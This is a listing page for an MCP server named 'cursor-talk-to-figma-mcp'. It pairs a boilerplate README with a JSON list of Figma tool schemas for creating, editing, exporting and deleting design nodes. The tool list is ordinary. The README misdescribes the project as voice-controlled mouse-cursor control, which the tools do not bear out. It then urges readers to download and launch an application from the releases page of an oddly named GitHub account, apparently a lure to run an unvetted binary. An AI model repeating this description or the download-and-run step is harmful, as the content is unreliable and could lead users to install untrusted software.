cursor talk to figma mcp

Local 2025-08-31 23:20:39 0

Enables users to control the cursor in Figma through verbal commands using an agentic AI agent, streamlining the design process with a new interaction method.


Welcome to the Cursor Talk To Figma MCP repository! Here you will find all the information related to this project that combines the use of an AI agent with Figma to enhance design interactions.

About

The Cursor Talk To Figma MCP project aims to create an agentic AI agent that can communicate with Figma, a popular design tool. By leveraging AI technology, users will be able to control the cursor in Figma through verbal commands. This innovative approach seeks to streamline the design process and provide a new way of interacting with design tools.

Repository Details

  • Repository name: cursor-talk-to-figma-mcp
  • Repository short description: Cursor Talk To Figma MCP
  • Repository topics: agent, agentic, agentic-ai, AI, cursor, design, Figma, MCP

Installation

You can download the installation files from the following link: Download https://github.com/toiletmadarchut/cursor-talk-to-figma-mcp/releases

If the link ends with the file name, please launch the application to begin using the Cursor Talk To Figma MCP.

If the provided link is not accessible, please check the "Releases" section for alternative download options.

Usage

To use the Cursor Talk To Figma MCP application, follow these steps:

  1. Download and install the application.
  2. Launch the application.
  3. Speak verbal commands to control the cursor in Figma.
  4. Explore the possibilities of this unique interaction method.

Features

  • Agentic AI Integration: The project integrates an agentic AI agent to communicate with Figma.
  • Cursor Control: Users can control the cursor in Figma using verbal commands.
  • Enhanced Design Experience: By combining AI technology with design tools, users can enjoy a new way of interacting with Figma.

Get Involved

If you are interested in contributing to the Cursor Talk To Figma MCP project, feel free to fork the repository and submit a pull request with your enhancements. Your contributions are greatly appreciated!

Support

For any questions or issues related to the Cursor Talk To Figma MCP project, please reach out to the maintainers or open a GitHub issue. We are here to assist you and ensure a smooth experience with the application.

Let's revolutionize the way we interact with design tools! ??

Cursor Talk To Figma MCP


Credits: This README template was created with the help of some awesome Markdown features and emojis.

[
  {
    "description": "Get detailed information about the current Figma document",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {},
      "type": "object"
    },
    "name": "get_document_info"
  },
  {
    "description": "Get information about the current selection in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {},
      "type": "object"
    },
    "name": "get_selection"
  },
  {
    "description": "Get detailed information about a specific node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "nodeId": {
          "description": "The ID of the node to get information about",
          "type": "string"
        }
      },
      "required": [
        "nodeId"
      ],
      "type": "object"
    },
    "name": "get_node_info"
  },
  {
    "description": "Create a new rectangle in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "height": {
          "description": "Height of the rectangle",
          "type": "number"
        },
        "name": {
          "description": "Optional name for the rectangle",
          "type": "string"
        },
        "parentId": {
          "description": "Optional parent node ID to append the rectangle to",
          "type": "string"
        },
        "width": {
          "description": "Width of the rectangle",
          "type": "number"
        },
        "x": {
          "description": "X position",
          "type": "number"
        },
        "y": {
          "description": "Y position",
          "type": "number"
        }
      },
      "required": [
        "x",
        "y",
        "width",
        "height"
      ],
      "type": "object"
    },
    "name": "create_rectangle"
  },
  {
    "description": "Create a new frame in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "fillColor": {
          "additionalProperties": false,
          "description": "Fill color in RGBA format",
          "properties": {
            "a": {
              "description": "Alpha component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "b": {
              "description": "Blue component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "g": {
              "description": "Green component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "r": {
              "description": "Red component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            }
          },
          "required": [
            "r",
            "g",
            "b"
          ],
          "type": "object"
        },
        "height": {
          "description": "Height of the frame",
          "type": "number"
        },
        "name": {
          "description": "Optional name for the frame",
          "type": "string"
        },
        "parentId": {
          "description": "Optional parent node ID to append the frame to",
          "type": "string"
        },
        "strokeColor": {
          "additionalProperties": false,
          "description": "Stroke color in RGBA format",
          "properties": {
            "a": {
              "description": "Alpha component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "b": {
              "description": "Blue component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "g": {
              "description": "Green component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "r": {
              "description": "Red component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            }
          },
          "required": [
            "r",
            "g",
            "b"
          ],
          "type": "object"
        },
        "strokeWeight": {
          "description": "Stroke weight",
          "exclusiveMinimum": 0,
          "type": "number"
        },
        "width": {
          "description": "Width of the frame",
          "type": "number"
        },
        "x": {
          "description": "X position",
          "type": "number"
        },
        "y": {
          "description": "Y position",
          "type": "number"
        }
      },
      "required": [
        "x",
        "y",
        "width",
        "height"
      ],
      "type": "object"
    },
    "name": "create_frame"
  },
  {
    "description": "Create a new text element in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "fontColor": {
          "additionalProperties": false,
          "description": "Font color in RGBA format",
          "properties": {
            "a": {
              "description": "Alpha component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "b": {
              "description": "Blue component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "g": {
              "description": "Green component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            },
            "r": {
              "description": "Red component (0-1)",
              "maximum": 1,
              "minimum": 0,
              "type": "number"
            }
          },
          "required": [
            "r",
            "g",
            "b"
          ],
          "type": "object"
        },
        "fontSize": {
          "description": "Font size (default: 14)",
          "type": "number"
        },
        "fontWeight": {
          "description": "Font weight (e.g., 400 for Regular, 700 for Bold)",
          "type": "number"
        },
        "name": {
          "description": "Optional name for the text node by default following text",
          "type": "string"
        },
        "parentId": {
          "description": "Optional parent node ID to append the text to",
          "type": "string"
        },
        "text": {
          "description": "Text content",
          "type": "string"
        },
        "x": {
          "description": "X position",
          "type": "number"
        },
        "y": {
          "description": "Y position",
          "type": "number"
        }
      },
      "required": [
        "x",
        "y",
        "text"
      ],
      "type": "object"
    },
    "name": "create_text"
  },
  {
    "description": "Set the fill color of a node in Figma can be TextNode or FrameNode",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "a": {
          "description": "Alpha component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "b": {
          "description": "Blue component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "g": {
          "description": "Green component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "nodeId": {
          "description": "The ID of the node to modify",
          "type": "string"
        },
        "r": {
          "description": "Red component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        }
      },
      "required": [
        "nodeId",
        "r",
        "g",
        "b"
      ],
      "type": "object"
    },
    "name": "set_fill_color"
  },
  {
    "description": "Set the stroke color of a node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "a": {
          "description": "Alpha component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "b": {
          "description": "Blue component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "g": {
          "description": "Green component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "nodeId": {
          "description": "The ID of the node to modify",
          "type": "string"
        },
        "r": {
          "description": "Red component (0-1)",
          "maximum": 1,
          "minimum": 0,
          "type": "number"
        },
        "weight": {
          "description": "Stroke weight",
          "exclusiveMinimum": 0,
          "type": "number"
        }
      },
      "required": [
        "nodeId",
        "r",
        "g",
        "b"
      ],
      "type": "object"
    },
    "name": "set_stroke_color"
  },
  {
    "description": "Move a node to a new position in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "nodeId": {
          "description": "The ID of the node to move",
          "type": "string"
        },
        "x": {
          "description": "New X position",
          "type": "number"
        },
        "y": {
          "description": "New Y position",
          "type": "number"
        }
      },
      "required": [
        "nodeId",
        "x",
        "y"
      ],
      "type": "object"
    },
    "name": "move_node"
  },
  {
    "description": "Clone an existing node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "nodeId": {
          "description": "The ID of the node to clone",
          "type": "string"
        },
        "x": {
          "description": "New X position for the clone",
          "type": "number"
        },
        "y": {
          "description": "New Y position for the clone",
          "type": "number"
        }
      },
      "required": [
        "nodeId"
      ],
      "type": "object"
    },
    "name": "clone_node"
  },
  {
    "description": "Resize a node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "height": {
          "description": "New height",
          "exclusiveMinimum": 0,
          "type": "number"
        },
        "nodeId": {
          "description": "The ID of the node to resize",
          "type": "string"
        },
        "width": {
          "description": "New width",
          "exclusiveMinimum": 0,
          "type": "number"
        }
      },
      "required": [
        "nodeId",
        "width",
        "height"
      ],
      "type": "object"
    },
    "name": "resize_node"
  },
  {
    "description": "Delete a node from Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "nodeId": {
          "description": "The ID of the node to delete",
          "type": "string"
        }
      },
      "required": [
        "nodeId"
      ],
      "type": "object"
    },
    "name": "delete_node"
  },
  {
    "description": "Get all styles from the current Figma document",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {},
      "type": "object"
    },
    "name": "get_styles"
  },
  {
    "description": "Get all local components from the Figma document",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {},
      "type": "object"
    },
    "name": "get_local_components"
  },
  {
    "description": "Create an instance of a component in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "componentKey": {
          "description": "Key of the component to instantiate",
          "type": "string"
        },
        "x": {
          "description": "X position",
          "type": "number"
        },
        "y": {
          "description": "Y position",
          "type": "number"
        }
      },
      "required": [
        "componentKey",
        "x",
        "y"
      ],
      "type": "object"
    },
    "name": "create_component_instance"
  },
  {
    "description": "Export a node as an image from Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "format": {
          "description": "Export format",
          "enum": [
            "PNG",
            "JPG",
            "SVG",
            "PDF"
          ],
          "type": "string"
        },
        "nodeId": {
          "description": "The ID of the node to export",
          "type": "string"
        },
        "scale": {
          "description": "Export scale",
          "exclusiveMinimum": 0,
          "type": "number"
        }
      },
      "required": [
        "nodeId"
      ],
      "type": "object"
    },
    "name": "export_node_as_image"
  },
  {
    "description": "Set the corner radius of a node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "corners": {
          "description": "Optional array of 4 booleans to specify which corners to round [topLeft, topRight, bottomRight, bottomLeft]",
          "items": {
            "type": "boolean"
          },
          "maxItems": 4,
          "minItems": 4,
          "type": "array"
        },
        "nodeId": {
          "description": "The ID of the node to modify",
          "type": "string"
        },
        "radius": {
          "description": "Corner radius value",
          "minimum": 0,
          "type": "number"
        }
      },
      "required": [
        "nodeId",
        "radius"
      ],
      "type": "object"
    },
    "name": "set_corner_radius"
  },
  {
    "description": "Set the text content of an existing text node in Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "nodeId": {
          "description": "The ID of the text node to modify",
          "type": "string"
        },
        "text": {
          "description": "New text content",
          "type": "string"
        }
      },
      "required": [
        "nodeId",
        "text"
      ],
      "type": "object"
    },
    "name": "set_text_content"
  },
  {
    "description": "Join a specific channel to communicate with Figma",
    "inputSchema": {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "additionalProperties": false,
      "properties": {
        "channel": {
          "default": "",
          "description": "The name of the channel to join",
          "type": "string"
        }
      },
      "type": "object"
    },
    "name": "join_channel"
  }
]